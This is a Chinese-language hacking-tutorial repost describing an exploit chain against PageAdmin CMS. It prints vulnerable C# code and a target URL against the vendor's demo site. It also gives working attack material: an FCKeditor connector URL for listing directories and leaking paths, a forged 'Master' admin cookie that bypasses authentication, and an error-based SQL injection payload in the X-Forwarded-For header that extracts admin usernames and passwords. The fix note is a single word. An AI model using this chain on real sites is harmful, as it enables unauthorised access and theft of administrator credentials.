网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

PageAdmin CMS最新版SQL注入 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-15 15:00 作者: 阅读:

[导读] PageAdmin CMS最新版SQL注入系统保存日志功能,没有过滤IP,导致了SQL注入漏洞 PageAdmin Logpublic void Save(int SiteId, int IsMaster, string thetype, int state, string username, string...

PageAdmin CMS最新版SQL注入

系统保存日志功能,没有过滤IP,导致了SQL注入漏洞
 

// PageAdmin.Log

public void Save(int SiteId, int IsMaster, string thetype, int state, string username, string description)

{

string clientIP = this.GetClientIP();

Conn conn = new Conn();

string connectionString = conn.Constr();

OleDbConnection oleDbConnection = new OleDbConnection(connectionString);

oleDbConnection.Open();

string cmdText = string.Concat(new object[]

{

"insert into pa_log([site_id],[task_id],[ismaster],[state],[thetype],[username],[url],[description],[ip],[thedate]) values(",



SiteId,

",0,",

IsMaster,

",",

state,

",'",

this.f(thetype),

"','",

this.f(username),

"','",

HttpContext.Current.Request.RawUrl,

"','",

this.f(description),

"','",




clientIP,

"','",

DateTime.Now,

"')"

});

OleDbCommand oleDbCommand = new OleDbCommand(cmdText, oleDbConnection);

oleDbCommand.ExecuteNonQuery();

oleDbConnection.Close();

}





// PageAdmin.Log

private string GetClientIP()

{

string result;

if (HttpContext.Current == null)




{

result = "127.0.0.1";

}

else

{

HttpRequest request = HttpContext.Current.Request;

string text = request.ServerVariables["HTTP_X_FORWARDED_FOR"];

if (string.IsNullOrEmpty(text))

{

text = request.ServerVariables["REMOTE_ADDR"];

}

if (string.IsNullOrEmpty(text))

{

text = request.UserHostAddress;




}

result = text;

}

return result;

}


可以看出IP是从HTTP_X_FORWARDED_FOR获取的,没有任何过滤,直接就插入到了数据库

因为要用报错的方法注入,access版无法注入,SQL SERVER才行。

这个函数大多是是在对网站修改时才会调用,后台登陆刚好调用了这个函数

有些网站把后台登陆地址改掉了,这里我们可以用一种方法来找出来,用fckeditor列目录漏洞,列出来,漏洞文件是

/e/incs/fckeditor/editor/filemanager/connectors/aspx/connector.aspx

这里和2.x版本的漏洞差不多,只检测了Cookie,代码过长就不贴了

它检测了Master是否存在,然后检测Master[UID]是不是存在,然后根据UID来查询用户表,如果查到了用户,就检测是不是admin组的,如果是,就把UID对应用户的最后登录时间用她自带的Md5函数加密,和Master[Valicate]做比较,相同就能绕过,但是这里有个问题,如果UID是不存在的,他就会用空字符串""来和Master[Valicate]做比较,所以只要我们提交一个不存在的UID,再用Md5加密""作为Master[Valicate]的值,就可以绕过这里的验证。

 



利用下面这个aspx计算出加密后的字符串是17b62103fec08a1333215b141bb18217f11c8e13a

<% @ Page language="c#"%>

<% @ Import NameSpace="System.Data"%>

<% @ Import NameSpace="System.Data.OleDb"%>

<% @ Import NameSpace="PageAdmin"%>

<script Language="C#" Runat="server">

protected void Page_Load(Object sender,EventArgs e)

{

Response.Write(new Md5().Get_Md5(""));

}

</script>


最后用Cookie: Master=1&UID=9999&Valicate=17b62103fec08a1333215b141bb18217f11c8e13a就能绕过了。

fckeditor.net版大都有遍历目录的漏洞,就是把当前目录设置成d:/,就能查看d盘的文件

 



如果没权限查看磁盘根目录,也可以把当前目录改成!,让他报错,就能知道网站路径。

http://demo.pageadmin.net/e/incs/fckeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=!

 

这样就找到了网站后台路径,然后登陆后台,用burp修改X-Forwarded-For头来进行注入。

设置HTTP头

X-Forwarded-For: 8.8.8.8','');select 1 from pa_member where (select top 1 username+':'+userpassword from pa_member where m_group='admin')>0--

然后打开网站后台,登陆网站

 

修复方案:

用session

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论